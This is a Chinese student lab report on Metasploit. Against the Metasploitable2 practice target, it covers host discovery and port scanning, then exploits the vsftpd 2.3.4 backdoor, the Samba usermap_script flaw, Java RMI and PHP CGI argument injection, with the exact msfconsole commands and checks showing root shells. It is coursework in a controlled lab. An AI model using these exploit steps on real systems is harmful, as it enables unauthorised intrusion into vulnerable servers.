20222312 2024-2025-1 《网络与系统攻防技术》实验六实验报告
1.实验内容及要求
本实践目标是掌握metasploit的用法。
指导书参考Rapid7官网的指导教程。
https://docs.rapid7.com/metasploit/metasploitable-2-exploitability-guide/
下载官方靶机Metasploitable2,完成下面实验内容。
(1)前期渗透
①主机发现(可用Aux中的arp_sweep,search一下就可以use)
②端口扫描:可以直接用nmap,也可以用Aux中的portscan/tcp等。
③选做:也可以扫系统版本、漏洞等。
(2)Vsftpd源码包后门漏洞(21端口)
漏洞原理:在特定版本的vsftpd服务器程序中,被人恶意植入代码,当用户名以“😃”为结尾,服务器就会在6200端口监听,并且能够执行任意代码。
利用步骤:
在kali中执行msfconsole 启动metasploit
use exploit/unix/ftp/vsftpd_234_backdoor 选择漏洞
set RHOST XX.xx.xx.xx 设置要攻击的机器IP(靶机IP)
exploit/run 开始攻击
利用成功
执行uname –a、 pwd、 id等命令 验证
(3)SambaMS-RPC Shell命令注入漏洞(端口139)
漏洞原理:Samba中负责在SAM数据库更新用户口令的代码未经过滤便将用户输入传输给了/bin/sh。如果在调用smb.conf中定义的外部脚本时,通过对/bin/sh的MS-RPC调用提交了恶意输入的话,就可能允许攻击者以nobody用户的权限执行任意命令。
利用步骤:
use exploit/multi/samba/usermap_script 选择漏洞
set RHOST ip 设置要攻击的机器IP
exploit 开始攻击
利用成功 执行uname–a验证
(4)Java RMI SERVER命令执行漏洞(1099端口)
漏洞原理:Java RMI Server的RMI注册表和RMI激活服务的默认配置存在安全漏洞,可被利用导致代码执行。
操作步骤:
首先查看1099端口是否打开。
然后在MSF中:
use exploit/multi/misc/java_rmi_server
show options 查看配置参数
set RHOST (靶机IP)
exploit/run
sessions -i id
shell (进入meterpreter时,使用whoami验证下)
(5)PHP CGI参数执行注入漏洞(80端口)
漏洞原理:CGI脚本没有正确处理请求参数,导致源代码泄露,允许远程攻击者在请求参数中插入执行命令。
在kali中执行msfconsole,启动metasploit
msf > use exploit/multi/http/php_cgi_arg_injection 选择漏洞
set RHOST ip 设置要攻击的机器IP
exploit/run 开始攻击
2.实验过程
2.1前期渗透
2.1.1主机发现
查询虚拟机ip
查询主机ip
主机和虚拟机执行ping命令
2.实验过程
2.1 前期渗透
2.1.1 主机发现(可用Aux中的arp_sweep,search一下就可以use)
search arp_sweep
use 0
set RHOSTS 192.168.1.0/24
set THREADS 30 run
成功查询到靶机(192.168.1.114)
2.1.2 端口扫描:可以直接用nmap,也可以用Aux中的portscan/tcp等
search portscan/tcp
set ROHSTS 192.168.1.114
run
成功扫描出tcp端口。
2.1.3 扫描系统版本、漏洞
search auxiliary/scanner/smb/smb_version
use 0
set RHOSTS 192.168.1.114
run
目标主机运行的是一个较旧的 Samba 版本(3.0.20),且使用 SMBv1,可能存在一些已知漏洞。
2.2 Vsftpd源码包后门漏洞(21端口)
漏洞原理:在特定版本的vsftpd服务器程序中,被人恶意植入代码,当用户名以“😃”为结尾,服务器就会在6200端口监听,并且能够执行任意代码。
search exploit/unix/ftp/vsftpd_234_backdoor
use 0
set RHOST 192.168.1.114
run
run攻击成功执行后,再输入uname –a、 pwd、 id等命令 验证。
2.3 SambaMS-RPC Shell命令注入漏洞(端口139)
漏洞原理:Samba中负责在SAM数据库更新用户口令的代码未经过滤便将用户输入传输给了/bin/sh。如果在调用smb.conf中定义的外部脚本时,通过对/bin/sh的MS-RPC调用提交了恶意输入的话,就可能允许攻击者以nobody用户的权限执行任意命令。
search exploit/multi/samba/usermap_script
use 0
set RHOST 192.168.1.114
exploit
利用成功 执行uname –a验证
2.4 Java RMI SERVER命令执行漏洞(1099端口)
漏洞原理:Java RMI Server的RMI注册表和RMI激活服务的默认配置存在安全漏洞,可被利用导致代码执行。
search exploit/multi/misc/java_rmi_server
use 0
show options //查看配置参数
set RHOST 192.168.1.114
exploit
运行成功,输入sessions -i 3进入任务
再输入shell,利用whoami命令验证,得到结果root。
2.5 PHP CGI参数执行注入漏洞(80端口)
漏洞原理:CGI脚本没有正确处理请求参数,导致源代码泄露,允许远程攻击者在请求参数中插入执行命令。
search exploit/multi/http/php_cgi_arg_injection
use 0
set RHOST 192.168.1.114
Exploit
攻击成功,输入dir验证。
3.问题及解决方案
本次实验在虚拟机安装的时候出现了一些问题,发现是版本不兼容,更换vmware版本后可以正常执行
4.学习感悟、思考
在进行 Metasploit 渗透测试的实践后,我深刻感受到网络安全领域犹如一座充满未知陷阱和错综复杂的迷宫。通过这次实践,我认识到每个看似坚固的系统都有可能隐藏着被攻破的脆弱点,Metasploit 这样的强大工具,既是一柄锐利的剑,也是一块镜子。它让我们看到了攻击者如何利用各种手段,从信息收集、漏洞扫描、远程利用漏洞,到最终控制目标系统的完整流程,这一切的连贯性和简易性令人震撼。它提醒我们,在构建防御体系时,不容忽视任何一个环节,只有从全局出发,做到面面俱到,才能有效防范潜在的安全威胁。
但与此同时,这次实践也让我更加深刻地认识到道德责任的重要性。掌握如此强大的技术能力,如果不能正确引导使用,就有可能为恶意攻击者所用,给社会和他人带来不可预估的损害。正因为如此,作为网络安全从业者,我们不仅需要精湛的技术水平,更需要坚定的道德操守。我们要时刻警惕,避免技术能力被滥用,要将我们的知识和技能投入到保护信息资产的工作中,而不是利用它们去破坏或伤害他人。这种实践让我意识到,网络安全攻防背后的每一个决策、每一个行为,都涉及到人性、伦理和社会责任的深刻问题。
此外,网络安全的实践也让我更加认识到持续学习的必要性。随着技术和攻击手段的不断发展,新的漏洞、攻击技术层出不穷,作为网络安全从业者,我们必须时刻保持对新知识的敏感度,跟上时代的步伐,保持警觉,才能在不断变化的网络环境中,保持竞争力、保持领先,构筑起牢不可破的安全防线,守护好我们的数字世界。
这次的实践经历让我对网络安全有了更加全面和深刻的认识。在未来的职业生涯中,我将继续学习、反思并坚持正确的价值观,以技术为盾,以责任为剑,保护我们的网络环境和信息资产。